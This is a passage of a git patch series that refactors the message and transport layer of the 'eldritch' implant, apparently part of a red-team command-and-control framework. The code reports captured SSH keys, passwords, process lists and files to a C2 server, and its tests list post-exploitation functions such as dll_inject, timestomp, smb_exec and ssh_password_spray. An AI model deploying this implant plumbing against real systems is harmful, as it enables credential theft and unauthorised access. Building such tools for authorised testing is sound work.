TestCase { pub id: i64, pub tome: Tome, - pub want_output: String, - pub want_error: Option, pub want_proc_list: ProcessList, } @@ -113,8 +114,6 @@ mod test { status: Status::Idle.into(), }, ]}, - want_output: String::from(""), - want_error: None, }, } } diff --git a/implants/lib/eldritch/src/report/ssh_key_impl.rs b/implants/lib/eldritch/src/report/ssh_key_impl.rs index d0dbd0c8f..c54c7022c 100644 --- a/implants/lib/eldritch/src/report/ssh_key_impl.rs +++ b/implants/lib/eldritch/src/report/ssh_key_impl.rs @@ -1,39 +1,27 @@ -use crate::runtime::{ - messages::{Message, ReportCredential}, - Environment, -}; +use crate::runtime::{messages::ReportCredentialMessage, Environment}; use anyhow::Result; -use pb::{ - c2::ReportCredentialRequest, - eldritch::{credential::Kind, Credential}, -}; +use pb::eldritch::{credential::Kind, Credential}; use starlark::eval::Evaluator; pub fn ssh_key(starlark_eval: &Evaluator<'_, '_>, username: String, key: String) -> Result<()> { let env = Environment::from_extra(starlark_eval.extra)?; - env.send(Message::from(ReportCredential { - req: ReportCredentialRequest { - task_id: env.id(), - credential: Some(Credential { - principal: username, - secret: key, - kind: Kind::SshKey.into(), - }), + env.send(ReportCredentialMessage { + id: env.id(), + credential: Credential { + principal: username, + secret: key, + kind: Kind::SshKey.into(), }, - }))?; + })?; Ok(()) } #[cfg(test)] mod test { + use crate::runtime::Message; + use pb::eldritch::{credential::Kind, Credential, Tome}; use std::collections::HashMap; - use anyhow::Error; - use pb::{ - c2::ReportCredentialResponse, - eldritch::{credential::Kind, Credential, Tome}, - }; - macro_rules! test_cases { ($($name:ident: $value:expr,)*) => { $( @@ -41,11 +29,19 @@ mod test { async fn $name() { let tc: TestCase = $value; + // Run Eldritch (until finished) let mut runtime = crate::start(tc.id, tc.tome).await; runtime.finish().await; - // TODO - // runtime.collect_and_dispatch(mock).await; + // Read Messages + let mut found = false; + for msg in runtime.messages() { + if let Message::ReportCredential(m) = msg { + assert_eq!(tc.want_credential, m.credential); + found = true; + } + } + assert!(found); } )* } @@ -54,8 +50,6 @@ mod test { struct TestCase { pub id: i64, pub tome: Tome, - pub want_output: String, - pub want_error: Option, pub want_credential: Credential, } @@ -72,8 +66,6 @@ mod test { secret: String::from("---BEGIN---youknowtherest"), kind: Kind::SshKey.into(), }, - want_output: String::from(""), - want_error: None, }, } } diff --git a/implants/lib/eldritch/src/report/user_password_impl.rs b/implants/lib/eldritch/src/report/user_password_impl.rs index e36020a54..b73a90a1f 100644 --- a/implants/lib/eldritch/src/report/user_password_impl.rs +++ b/implants/lib/eldritch/src/report/user_password_impl.rs @@ -1,12 +1,6 @@ -use crate::runtime::{ - messages::{Message, ReportCredential}, - Environment, -}; +use crate::runtime::{messages::ReportCredentialMessage, Environment}; use anyhow::Result; -use pb::{ - c2::ReportCredentialRequest, - eldritch::{credential::Kind, Credential}, -}; +use pb::eldritch::{credential::Kind, Credential}; use starlark::eval::Evaluator; pub fn user_password( @@ -15,29 +9,23 @@ pub fn user_password( password: String, ) -> Result<()> { let env = Environment::from_extra(starlark_eval.extra)?; - env.send(Message::from(ReportCredential { - req: ReportCredentialRequest { - task_id: env.id(), - credential: Some(Credential { - principal: username, - secret: password, - kind: Kind::Password.into(), - }), + env.send(ReportCredentialMessage { + id: env.id(), + credential: Credential { + principal: username, + secret: password, + kind: Kind::Password.into(), }, - }))?; + })?; Ok(()) } #[cfg(test)] mod test { + use crate::runtime::Message; + use pb::eldritch::{credential::Kind, Credential, Tome}; use std::collections::HashMap; - use anyhow::Error; - use pb::{ - c2::ReportCredentialResponse, - eldritch::{credential::Kind, Credential, Tome}, - }; - macro_rules! test_cases { ($($name:ident: $value:expr,)*) => { $( @@ -45,11 +33,19 @@ mod test { async fn $name() { let tc: TestCase = $value; + // Run Eldritch (until finished) let mut runtime = crate::start(tc.id, tc.tome).await; runtime.finish().await; - // runtime.collect_and_dispatch(mock).await; - // TODO + // Read Messages + let mut found = false; + for msg in runtime.messages() { + if let Message::ReportCredential(m) = msg { + assert_eq!(tc.want_credential, m.credential); + found = true; + } + } + assert!(found); } )* } @@ -58,8 +54,6 @@ mod test { struct TestCase { pub id: i64, pub tome: Tome, - pub want_output: String, - pub want_error: Option, pub want_credential: Credential, } @@ -76,8 +70,6 @@ mod test { secret: String::from("changeme"), kind: Kind::Password.into(), }, - want_output: String::from(""), - want_error: None, }, } } diff --git a/implants/lib/eldritch/src/runtime/drain.rs b/implants/lib/eldritch/src/runtime/drain.rs index 5a38c45da..969a786a7 100644 --- a/implants/lib/eldritch/src/runtime/drain.rs +++ b/implants/lib/eldritch/src/runtime/drain.rs @@ -1,13 +1,6 @@ use std::sync::mpsc::Receiver; use std::time::Duration; -/* - * Drain a receiver, returning only the last currently available result. - */ -pub fn drain_last(receiver: &Receiver) -> Option { - drain(receiver).pop() -} - /* * Drain a receiver, returning all currently available results as a Vec. */ diff --git a/implants/lib/eldritch/src/runtime/environment.rs b/implants/lib/eldritch/src/runtime/environment.rs index e1adf7814..2c1d4aa2c 100644 --- a/implants/lib/eldritch/src/runtime/environment.rs +++ b/implants/lib/eldritch/src/runtime/environment.rs @@ -1,11 +1,11 @@ -use super::messages::{Message, ReportText}; +use super::messages::{Message, ReportTextMessage}; use anyhow::{Context, Result}; use starlark::{ values::{AnyLifetime, ProvidesStaticType}, PrintHandler, }; -use std::sync::mpsc::{Sender}; +use std::sync::mpsc::Sender; pub struct FileRequest { name: String, @@ -44,8 +44,8 @@ impl Environment { self.id } - pub fn send(&self, msg: Message) -> Result<()> { - self.tx.send(msg)?; + pub fn send(&self, msg: impl Into) -> Result<()> { + self.tx.send(msg.into())?; Ok(()) } } @@ -55,12 +55,10 @@ impl Environment { */ impl PrintHandler for Environment { fn println(&self, text: &str) -> Result<()> { - self.send(Message::ReportText(ReportText { + self.send(ReportTextMessage { id: self.id, text: String::from(text), - exec_started_at: None, - exec_finished_at: None, - }))?; + })?; #[cfg(feature = "print_stdout")] print!("{}", text); diff --git a/implants/lib/eldritch/src/runtime/eval.rs b/implants/lib/eldritch/src/runtime/eval.rs index 9c73125ec..1c67a00e5 100644 --- a/implants/lib/eldritch/src/runtime/eval.rs +++ b/implants/lib/eldritch/src/runtime/eval.rs @@ -1,16 +1,18 @@ -use super::{ - drain::{drain}, - messages::{aggregate, Dispatcher, Transport}, - Environment, -}; +use super::{drain::drain, messages::aggregate, Environment}; use crate::{ - assets::AssetsLibrary, crypto::CryptoLibrary, file::FileLibrary, pivot::PivotLibrary, - process::ProcessLibrary, report::ReportLibrary, runtime::messages, runtime::messages::Message, - sys::SysLibrary, time::TimeLibrary, + assets::AssetsLibrary, + crypto::CryptoLibrary, + file::FileLibrary, + pivot::PivotLibrary, + process::ProcessLibrary, + report::ReportLibrary, + runtime::messages::{Message, ReportErrorMessage, ReportFinishMessage, ReportStartMessage}, + sys::SysLibrary, + time::TimeLibrary, }; use anyhow::{Context, Result}; use chrono::Utc; -use pb::eldritch::{Tome}; +use pb::eldritch::Tome; use prost_types::Timestamp; use starlark::{ collections::SmallMap, @@ -32,15 +34,13 @@ pub async fn start(id: i64, tome: Tome) -> Runtime { let handle = tokio::task::spawn_blocking(move || { // Send exec_started_at let start = Utc::now(); - match env.send(Message::ReportText(messages::ReportText { + match env.send(ReportStartMessage { id, - text: String::from(""), exec_started_at: Some(Timestamp { seconds: start.timestamp(), nanos: start.timestamp_subsec_nanos() as i32, }), - exec_finished_at: None, - })) { + }) { Ok(_) => {} Err(_err) => { #[cfg(debug_assertions)] @@ -71,12 +71,10 @@ pub async fn start(id: i64, tome: Tome) -> Runtime { ); // Report evaluation errors - match env.send(Message::ReportError(messages::ReportError { + match env.send(ReportErrorMessage { id, error: err.to_string(), - exec_started_at: None, - exec_finished_at: None, - })) { + }) { Ok(_) => {} Err(_send_err) => { #[cfg(debug_assertions)] @@ -93,19 +91,17 @@ pub async fn start(id: i64, tome: Tome) -> Runtime { // Send exec_finished_at let finish = Utc::now(); - match env.send(Message::ReportText(messages::ReportText { + match env.send(ReportFinishMessage { id, - text: String::from(""), - exec_started_at: None, exec_finished_at: Some(Timestamp { seconds: finish.timestamp(), nanos: finish.timestamp_subsec_nanos() as i32, }), - })) { + }) { Ok(_) => {} Err(_err) => { #[cfg(debug_assertions)] - log::error!("failed to send exec_started_at (task_id={}): {}", id, _err); + log::error!("failed to send exec_finished_at (task_id={}): {}", id, _err); } } }); @@ -228,20 +224,20 @@ impl Runtime { } /* - * Collect and dispatch all of the currently available messages from the tome. - * This method will block until all currently available messages have been dispatched. + * Borrow the underlying message receiver. + * + * This is most useful to block for all runtime messages, whereas collect would only + * return the currently available messages. + * + * Example: + * ```rust + * for msg in runtime.messages() { + * // TODO: Stuff + * } + * ``` */ - pub async fn collect_and_dispatch(&self, transport: &mut impl Transport) { - for msg in self.collect() { - // let mut t = transport.clone(); - // tokio::spawn(async move { - msg.dispatch(transport).await; - // }); - } - // while let Some(result) = futures.join_next().await { - // #[cfg(debug_assertions)] - // log::debug!("finished message dispatch") - // } + pub fn messages(&self) -> &Receiver { + &self.rx } /* diff --git a/implants/lib/eldritch/src/runtime/messages/fetch_asset.rs b/implants/lib/eldritch/src/runtime/messages/fetch_asset.rs index f6a3251cd..64f17d323 100644 --- a/implants/lib/eldritch/src/runtime/messages/fetch_asset.rs +++ b/implants/lib/eldritch/src/runtime/messages/fetch_asset.rs @@ -4,15 +4,18 @@ use pb::c2::{FetchAssetRequest, FetchAssetResponse}; use std::sync::mpsc::Sender; use transport::Transport; +#[cfg_attr(debug_assertions, derive(Debug))] #[derive(Clone)] -pub struct FetchAsset { - pub(crate) req: FetchAssetRequest, +pub struct FetchAssetMessage { + pub(crate) name: String, pub(crate) tx: Sender, } -impl Dispatcher for FetchAsset { +impl Dispatcher for FetchAssetMessage { async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { - transport.fetch_asset(self.req, self.tx).await?; + transport + .fetch_asset(FetchAssetRequest { name: self.name }, self.tx) + .await?; Ok(()) } } diff --git a/implants/lib/eldritch/src/runtime/messages/mod.rs b/implants/lib/eldritch/src/runtime/messages/mod.rs index a6e6d72e1..546310cf9 100644 --- a/implants/lib/eldritch/src/runtime/messages/mod.rs +++ b/implants/lib/eldritch/src/runtime/messages/mod.rs @@ -2,44 +2,76 @@ mod fetch_asset; mod report_credential; mod report_error; mod report_file; +mod report_finish; mod report_process_list; +mod report_start; mod report_text; -pub use fetch_asset::FetchAsset; -pub use report_credential::ReportCredential; -pub use report_error::ReportError; -pub use report_file::ReportFile; -pub use report_process_list::ReportProcessList; -pub use report_text::ReportText; +pub use fetch_asset::FetchAssetMessage; +pub use report_credential::ReportCredentialMessage; +pub use report_error::ReportErrorMessage; +pub use report_file::ReportFileMessage; +pub use report_finish::ReportFinishMessage; +pub use report_process_list::ReportProcessListMessage; +pub use report_start::ReportStartMessage; +pub use report_text::ReportTextMessage; pub use transport::Transport; use anyhow::Result; use derive_more::From; use std::future::Future; +#[cfg(debug_assertions)] +use derive_more::Display; + pub trait Dispatcher { fn dispatch(self, transport: &mut impl Transport) -> impl Future> + Send; } +#[cfg_attr(debug_assertions, derive(Debug, Display))] #[derive(From, Clone)] pub enum Message { - FetchAsset(FetchAsset), - ReportCredential(ReportCredential), - ReportError(ReportError), - ReportFile(ReportFile), - ReportProcessList(ReportProcessList), - ReportText(ReportText), + #[cfg_attr(debug_assertions, display(fmt = "FetchAsset"))] + FetchAsset(FetchAssetMessage), + + #[cfg_attr(debug_assertions, display(fmt = "ReportCredential"))] + ReportCredential(ReportCredentialMessage), + + #[cfg_attr(debug_assertions, display(fmt = "ReportError"))] + ReportError(ReportErrorMessage), + + #[cfg_attr(debug_assertions, display(fmt = "ReportFile"))] + ReportFile(ReportFileMessage), + + #[cfg_attr(debug_assertions, display(fmt = "ReportProcessList"))] + ReportProcessList(ReportProcessListMessage), + + #[cfg_attr(debug_assertions, display(fmt = "ReportText"))] + ReportText(ReportTextMessage), + + #[cfg_attr(debug_assertions, display(fmt = "ReportStart"))] + ReportStart(ReportStartMessage), + + #[cfg_attr(debug_assertions, display(fmt = "ReportFinish"))] + ReportFinish(ReportFinishMessage), } impl Dispatcher for Message { async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { + #[cfg(debug_assertions)] + log::debug!("dispatching message {:?}", self); + match self { Self::FetchAsset(msg) => msg.dispatch(transport).await, + Self::ReportCredential(msg) => msg.dispatch(transport).await, Self::ReportError(msg) => msg.dispatch(transport).await, Self::ReportFile(msg) => msg.dispatch(transport).await, Self::ReportProcessList(msg) => msg.dispatch(transport).await, Self::ReportText(msg) => msg.dispatch(transport).await, + + Self::ReportStart(msg) => msg.dispatch(transport).await, + Self::ReportFinish(msg) => msg.dispatch(transport).await, } } } diff --git a/implants/lib/eldritch/src/runtime/messages/report_credential.rs b/implants/lib/eldritch/src/runtime/messages/report_credential.rs index 1e78e8be9..57325bcdf 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_credential.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_credential.rs @@ -1,15 +1,22 @@ use super::{Dispatcher, Transport}; use anyhow::Result; -use pb::{c2::ReportCredentialRequest}; +use pb::{c2::ReportCredentialRequest, eldritch::Credential}; +#[cfg_attr(debug_assertions, derive(Debug))] #[derive(Clone)] -pub struct ReportCredential { - pub(crate) req: ReportCredentialRequest, +pub struct ReportCredentialMessage { + pub(crate) id: i64, + pub(crate) credential: Credential, } -impl Dispatcher for ReportCredential { +impl Dispatcher for ReportCredentialMessage { async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { - transport.report_credential(self.req).await?; + transport + .report_credential(ReportCredentialRequest { + task_id: self.id, + credential: Some(self.credential), + }) + .await?; Ok(()) } } diff --git a/implants/lib/eldritch/src/runtime/messages/report_error.rs b/implants/lib/eldritch/src/runtime/messages/report_error.rs index 8dee8196b..adbf1d72a 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_error.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_error.rs @@ -1,25 +1,23 @@ use super::{Dispatcher, Transport}; -use anyhow::{Result}; +use anyhow::Result; use pb::c2::{ReportTaskOutputRequest, TaskError, TaskOutput}; -use prost_types::Timestamp; +#[cfg_attr(debug_assertions, derive(Debug))] #[derive(Clone)] -pub struct ReportError { +pub struct ReportErrorMessage { pub(crate) id: i64, pub error: String, - pub(crate) exec_started_at: Option, - pub(crate) exec_finished_at: Option, } -impl Dispatcher for ReportError { +impl Dispatcher for ReportErrorMessage { async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { transport .report_task_output(ReportTaskOutputRequest { output: Some(TaskOutput { id: self.id, output: String::from(""), - exec_started_at: self.exec_started_at, - exec_finished_at: self.exec_finished_at, + exec_started_at: None, + exec_finished_at: None, error: Some(TaskError { msg: self.error }), }), }) diff --git a/implants/lib/eldritch/src/runtime/messages/report_file.rs b/implants/lib/eldritch/src/runtime/messages/report_file.rs index 24231e3ce..aff87c9c0 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_file.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_file.rs @@ -1,14 +1,14 @@ use super::{Dispatcher, Transport}; use anyhow::Result; - +#[cfg_attr(debug_assertions, derive(Debug))] #[derive(Clone)] -pub struct ReportFile { - id: i64, - path: String, +pub struct ReportFileMessage { + pub(crate) id: i64, + pub(crate) path: String, } -impl Dispatcher for ReportFile { +impl Dispatcher for ReportFileMessage { async fn dispatch(self, _transport: &mut impl Transport) -> Result<()> { Ok(()) } diff --git a/implants/lib/eldritch/src/runtime/messages/report_finish.rs b/implants/lib/eldritch/src/runtime/messages/report_finish.rs new file mode 100644 index 000000000..13796bb3a --- /dev/null +++ b/implants/lib/eldritch/src/runtime/messages/report_finish.rs @@ -0,0 +1,28 @@ +use super::{Dispatcher, Transport}; +use anyhow::Result; +use pb::c2::{ReportTaskOutputRequest, TaskOutput}; +use prost_types::Timestamp; + +#[cfg_attr(debug_assertions, derive(Debug))] +#[derive(Clone)] +pub struct ReportFinishMessage { + pub(crate) id: i64, + pub(crate) exec_finished_at: Option, +} + +impl Dispatcher for ReportFinishMessage { + async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { + transport + .report_task_output(ReportTaskOutputRequest { + output: Some(TaskOutput { + id: self.id, + output: String::new(), + exec_started_at: None, + exec_finished_at: self.exec_finished_at, + error: None, + }), + }) + .await?; + Ok(()) + } +} diff --git a/implants/lib/eldritch/src/runtime/messages/report_process_list.rs b/implants/lib/eldritch/src/runtime/messages/report_process_list.rs index a656e4b70..09268d0e3 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_process_list.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_process_list.rs @@ -2,13 +2,14 @@ use super::{Dispatcher, Transport}; use anyhow::Result; use pb::{c2::ReportProcessListRequest, eldritch::ProcessList}; +#[cfg_attr(debug_assertions, derive(Debug))] #[derive(Clone)] -pub struct ReportProcessList { +pub struct ReportProcessListMessage { pub(crate) id: i64, pub(crate) list: ProcessList, } -impl Dispatcher for ReportProcessList { +impl Dispatcher for ReportProcessListMessage { async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { transport .report_process_list(ReportProcessListRequest { diff --git a/implants/lib/eldritch/src/runtime/messages/report_start.rs b/implants/lib/eldritch/src/runtime/messages/report_start.rs new file mode 100644 index 000000000..ed769564a --- /dev/null +++ b/implants/lib/eldritch/src/runtime/messages/report_start.rs @@ -0,0 +1,28 @@ +use super::{Dispatcher, Transport}; +use anyhow::Result; +use pb::c2::{ReportTaskOutputRequest, TaskOutput}; +use prost_types::Timestamp; + +#[cfg_attr(debug_assertions, derive(Debug))] +#[derive(Clone)] +pub struct ReportStartMessage { + pub(crate) id: i64, + pub(crate) exec_started_at: Option, +} + +impl Dispatcher for ReportStartMessage { + async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { + transport + .report_task_output(ReportTaskOutputRequest { + output: Some(TaskOutput { + id: self.id, + output: String::new(), + exec_started_at: self.exec_started_at, + exec_finished_at: None, + error: None, + }), + }) + .await?; + Ok(()) + } +} diff --git a/implants/lib/eldritch/src/runtime/messages/report_text.rs b/implants/lib/eldritch/src/runtime/messages/report_text.rs index 9073b1bfc..459c82ce3 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_text.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_text.rs @@ -1,31 +1,29 @@ use super::{Dispatcher, Transport}; use anyhow::Result; use pb::c2::{ReportTaskOutputRequest, TaskOutput}; -use prost_types::Timestamp; +#[cfg_attr(debug_assertions, derive(Debug))] #[derive(Clone)] -pub struct ReportText { +pub struct ReportTextMessage { pub(crate) id: i64, pub(crate) text: String, - pub(crate) exec_started_at: Option, - pub(crate) exec_finished_at: Option, } -impl ReportText { +impl ReportTextMessage { pub fn text(&self) -> String { self.text.clone() } } -impl Dispatcher for ReportText { +impl Dispatcher for ReportTextMessage { async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { transport .report_task_output(ReportTaskOutputRequest { output: Some(TaskOutput { id: self.id, output: self.text, - exec_started_at: self.exec_started_at, - exec_finished_at: self.exec_finished_at, + exec_started_at: None, + exec_finished_at: None, error: None, }), }) diff --git a/implants/lib/eldritch/src/runtime/mod.rs b/implants/lib/eldritch/src/runtime/mod.rs index 7f7cec6db..49051d4fc 100644 --- a/implants/lib/eldritch/src/runtime/mod.rs +++ b/implants/lib/eldritch/src/runtime/mod.rs @@ -6,12 +6,11 @@ pub mod messages; pub use environment::{Environment, FileRequest}; pub use eval::{start, Runtime}; pub use messages::Message; -// pub use messages::{FetchAsset, Message, ReportError, ReportFile, ReportProcessList, ReportText}; #[cfg(test)] mod tests { - use anyhow::Error; - use pb::{c2::ReportTaskOutputResponse, eldritch::Tome}; + use crate::runtime::Message; + use pb::eldritch::Tome; use std::collections::HashMap; use tempfile::NamedTempFile; @@ -25,8 +24,16 @@ mod tests { let mut runtime = crate::start(tc.id, tc.tome).await; runtime.finish().await; - // runtime.collect_and_dispatch(mock).await; - // TODO + let mut text = Vec::new(); + for msg in runtime.messages() { + match msg { + Message::ReportText(m) => text.push(m.text), + Message::ReportError(m) => assert_eq!(tc.want_error, Some(m.error)), + _ => {}, + }; + } + + assert_eq!(tc.want_text, text.join("")); } )* } @@ -35,8 +42,8 @@ mod tests { struct TestCase { pub id: i64, pub tome: Tome, - pub want_output: String, - pub want_error: Option, + pub want_text: String, + pub want_error: Option, } runtime_tests! { @@ -47,7 +54,7 @@ mod tests { parameters: HashMap::new(), file_names: Vec::new(), }, - want_output: String::from("2"), + want_text: String::from("2"), want_error: None, }, multi_print: TestCase { @@ -57,7 +64,7 @@ mod tests { parameters: HashMap::new(), file_names: Vec::new(), }, - want_output: String::from(r#"oceans rise, empires fall"#), + want_text: String::from(r#"oceans rise, empires fall"#), want_error: None, }, input_params: TestCase{ @@ -71,7 +78,7 @@ mod tests { ]), file_names: Vec::new(), }, - want_output: String::from("echo hello_world"), + want_text: String::from("echo hello_world"), want_error: None, }, file_bindings: TestCase { @@ -81,7 +88,7 @@ mod tests { parameters: HashMap::new(), file_names: Vec::new(), }, - want_output: String::from(r#"["append", "compress", "copy", "download", "exists", "find", "follow", "is_dir", "is_file", "list", "mkdir", "moveto", "read", "remove", "replace", "replace_all", "template", "timestomp", "write"]"#), + want_text: String::from(r#"["append", "compress", "copy", "download", "exists", "find", "follow", "is_dir", "is_file", "list", "mkdir", "moveto", "read", "remove", "replace", "replace_all", "template", "timestomp", "write"]"#), want_error: None, }, process_bindings: TestCase { @@ -91,7 +98,7 @@ mod tests { parameters: HashMap::new(), file_names: Vec::new(), }, - want_output: String::from(r#"["info", "kill", "list", "name", "netstat"]"#), + want_text: String::from(r#"["info", "kill", "list", "name", "netstat"]"#), want_error: None, }, sys_bindings: TestCase { @@ -101,7 +108,7 @@ mod tests { parameters: HashMap::new(), file_names: Vec::new(), }, - want_output: String::from(r#"["dll_inject", "dll_reflect", "exec", "get_env", "get_ip", "get_os", "get_pid", "get_reg", "get_user", "hostname", "is_linux", "is_macos", "is_windows", "shell", "write_reg_hex", "write_reg_int", "write_reg_str"]"#), + want_text: String::from(r#"["dll_inject", "dll_reflect", "exec", "get_env", "get_ip", "get_os", "get_pid", "get_reg", "get_user", "hostname", "is_linux", "is_macos", "is_windows", "shell", "write_reg_hex", "write_reg_int", "write_reg_str"]"#), want_error: None, }, pivot_bindings: TestCase { @@ -111,7 +118,7 @@ mod tests { parameters: HashMap::new(), file_names: Vec::new(), }, - want_output: String::from(r#"["arp_scan", "bind_proxy", "ncat", "port_forward", "port_scan", "smb_exec", "ssh_copy", "ssh_exec", "ssh_password_spray"]"#), + want_text: String::from(r#"["arp_scan", "bind_proxy", "ncat", "port_forward", "port_scan", "smb_exec", "ssh_copy", "ssh_exec", "ssh_password_spray"]"#), want_error: None, }, assets_bindings: TestCase { @@ -121,7 +128,7 @@ mod tests { parameters: HashMap::new(), file_names: Vec::new(), }, - want_output: String::from(r#"["copy", "list", "read", "read_binary"]"#), + want_text: String::from(r#"["copy", "list", "read", "read_binary"]"#), want_error: None, }, crypto_bindings: TestCase { @@ -131,7 +138,7 @@ mod tests { parameters: HashMap::new(), file_names: Vec::new(), }, - want_output: String::from(r#"["aes_decrypt_file", "aes_encrypt_file", "decode_b64", "encode_b64", "from_json", "hash_file", "to_json"]"#), + want_text: String::from(r#"["aes_decrypt_file", "aes_encrypt_file", "decode_b64", "encode_b64", "from_json", "hash_file", "to_json"]"#), want_error: None, }, time_bindings: TestCase { @@ -141,7 +148,7 @@ mod tests { parameters: HashMap::new(), file_names: Vec::new(), }, - want_output: String::from(r#"["format_to_epoch", "format_to_readable", "now", "sleep"]"#), + want_text: String::from(r#"["format_to_epoch", "format_to_readable", "now", "sleep"]"#), want_error: None, }, } diff --git a/implants/lib/transport/Cargo.toml b/implants/lib/transport/Cargo.toml index 177339f4f..4db51f8d8 100644 --- a/implants/lib/transport/Cargo.toml +++ b/implants/lib/transport/Cargo.toml @@ -6,16 +6,19 @@ edition = "2021" [features] default = ["grpc"] grpc = [] +mock = ["dep:mockall"] [dependencies] pb = { workspace = true } +anyhow = { workspace = true } log = { workspace = true } -tonic = { workspace = true, features = ["tls-roots"] } prost = { workspace = true} prost-types = { workspace = true } tokio = { workspace = true, features = ["macros", "rt-multi-thread"] } tokio-stream = { workspace = true } -anyhow = { workspace = true } +tonic = { workspace = true, features = ["tls-roots"] } +trait-variant = { workspace = true } -[dev-dependencies] +# [feature = mock] +mockall = {workspace = true, optional = true } diff --git a/implants/lib/transport/src/lib.rs b/implants/lib/transport/src/lib.rs index f73e3bb56..a09a224ff 100644 --- a/implants/lib/transport/src/lib.rs +++ b/implants/lib/transport/src/lib.rs @@ -3,5 +3,10 @@ mod grpc; #[cfg(feature = "grpc")] pub use grpc::GRPC; +#[cfg(feature = "mock")] +mod mock; +#[cfg(feature = "mock")] +pub use mock::MockTransport; + mod transport; pub use transport::Transport; diff --git a/implants/lib/transport/src/mock.rs b/implants/lib/transport/src/mock.rs new file mode 100644 index 000000000..733b03194 --- /dev/null +++ b/implants/lib/transport/src/mock.rs @@ -0,0 +1,41 @@ +use anyhow::Result; +use pb::c2::*; +use std::sync::mpsc::{Receiver, Sender}; + +use mockall::{mock, predicate::*}; + +mock! { + pub Transport {} + impl Clone for Transport { + fn clone(&self) -> Self; + } + impl super::Transport for Transport { + async fn claim_tasks(&mut self, request: ClaimTasksRequest) -> Result; + + async fn fetch_asset( + &mut self, + request: FetchAssetRequest, + sender: Sender, + ) -> Result<()>; + + async fn report_credential( + &mut self, + request: ReportCredentialRequest, + ) -> Result; + + async fn report_file( + &mut self, + request: Receiver, + ) -> Result; + + async fn report_process_list( + &mut self, + request: ReportProcessListRequest, + ) -> Result; + + async fn report_task_output( + &mut self, + request: ReportTaskOutputRequest, + ) -> Result; + } +} diff --git a/implants/lib/transport/src/transport.rs b/implants/lib/transport/src/transport.rs index faaa3ed68..628b63aff 100644 --- a/implants/lib/transport/src/transport.rs +++ b/implants/lib/transport/src/transport.rs @@ -5,18 +5,13 @@ use pb::c2::{ ReportProcessListRequest, ReportProcessListResponse, ReportTaskOutputRequest, ReportTaskOutputResponse, }; -use std::{ - future::Future, - sync::mpsc::{Receiver, Sender}, -}; +use std::sync::mpsc::{Receiver, Sender}; -pub trait Transport: Clone + Send { +#[trait_variant::make(Transport: Send)] +pub trait UnsafeTransport: Clone + Send { /// /// Contact the server for new tasks to execute. - fn claim_tasks( - &mut self, - request: ClaimTasksRequest, - ) -> impl Future> + Send; + async fn claim_tasks(&mut self, request: ClaimTasksRequest) -> Result; /// /// Fetch an asset from the server, returning one or more chunks of data. @@ -26,18 +21,18 @@ pub trait Transport: Clone + Send { /// - "file-size": The number of bytes contained by the file. /// /// If no associated file can be found, a NotFound status error is returned. - fn fetch_asset( + async fn fetch_asset( &mut self, request: FetchAssetRequest, sender: Sender, - ) -> impl Future> + Send; + ) -> Result<()>; /// /// Report a credential to the server. - fn report_credential( + async fn report_credential( &mut self, request: ReportCredentialRequest, - ) -> impl Future> + Send; + ) -> Result; /// /// Report a file from the host to the server. @@ -46,23 +41,23 @@ pub trait Transport: Clone + Send { /// - Size will automatically be calculated and the provided size will be ignored. /// Content is provided as chunks, the size of which are up to the agent to define (based on memory constraints). /// Any existing files at the provided path for the host are replaced. - fn report_file( + async fn report_file( &mut self, request: Receiver, - ) -> impl Future> + Send; + ) -> Result; /// /// Report the active list of running processes. This list will replace any previously reported /// lists for the same host. - fn report_process_list( + async fn report_process_list( &mut self, request: ReportProcessListRequest, - ) -> impl Future> + Send; + ) -> Result; /// /// Report execution output for a task. - fn report_task_output( + async fn report_task_output( &mut self, request: ReportTaskOutputRequest, - ) -> impl Future> + Send; + ) -> Result; } From 60697b89778feb7680064238b90a6ffc49e2b668 Mon Sep 17 00:00:00 2001 From: KCarretto Date: Thu, 15 Feb 2024 22:08:08 +0000 Subject: [PATCH 06/13] report.file() --- implants/lib/eldritch/src/lib.rs | 2 +- implants/lib/eldritch/src/report/file_impl.rs | 58 +++++++++++++++ implants/lib/eldritch/src/report/mod.rs | 18 ++++- .../eldritch/src/report/process_list_impl.rs | 9 +-- .../lib/eldritch/src/report/ssh_key_impl.rs | 4 +- .../eldritch/src/report/user_password_impl.rs | 8 +- .../lib/eldritch/src/runtime/environment.rs | 16 ---- .../src/runtime/messages/report_file.rs | 73 ++++++++++++++++++- implants/lib/eldritch/src/runtime/mod.rs | 12 ++- 9 files changed, 160 insertions(+), 40 deletions(-) create mode 100644 implants/lib/eldritch/src/report/file_impl.rs diff --git a/implants/lib/eldritch/src/lib.rs b/implants/lib/eldritch/src/lib.rs index b90fccc41..a1181246e 100644 --- a/implants/lib/eldritch/src/lib.rs +++ b/implants/lib/eldritch/src/lib.rs @@ -8,7 +8,7 @@ pub mod runtime; pub mod sys; pub mod time; -pub use runtime::{start, FileRequest, Runtime}; +pub use runtime::{start, Runtime}; #[allow(unused_imports)] use starlark::const_frozen_string; diff --git a/implants/lib/eldritch/src/report/file_impl.rs b/implants/lib/eldritch/src/report/file_impl.rs new file mode 100644 index 000000000..5bdcbed1e --- /dev/null +++ b/implants/lib/eldritch/src/report/file_impl.rs @@ -0,0 +1,58 @@ +use crate::runtime::{messages::ReportFileMessage, Environment}; +use anyhow::Result; + +pub fn file(env: &Environment, path: String) -> Result<()> { + env.send(ReportFileMessage { id: env.id(), path })?; + Ok(()) +} + +#[cfg(test)] +mod test { + use crate::runtime::Message; + use pb::eldritch::Tome; + use std::collections::HashMap; + + macro_rules! test_cases { + ($($name:ident: $value:expr,)*) => { + $( + #[tokio::test] + async fn $name() { + let tc: TestCase = $value; + + // Run Eldritch (until finished) + let mut runtime = crate::start(tc.id, tc.tome).await; + runtime.finish().await; + + // Read Messages + let 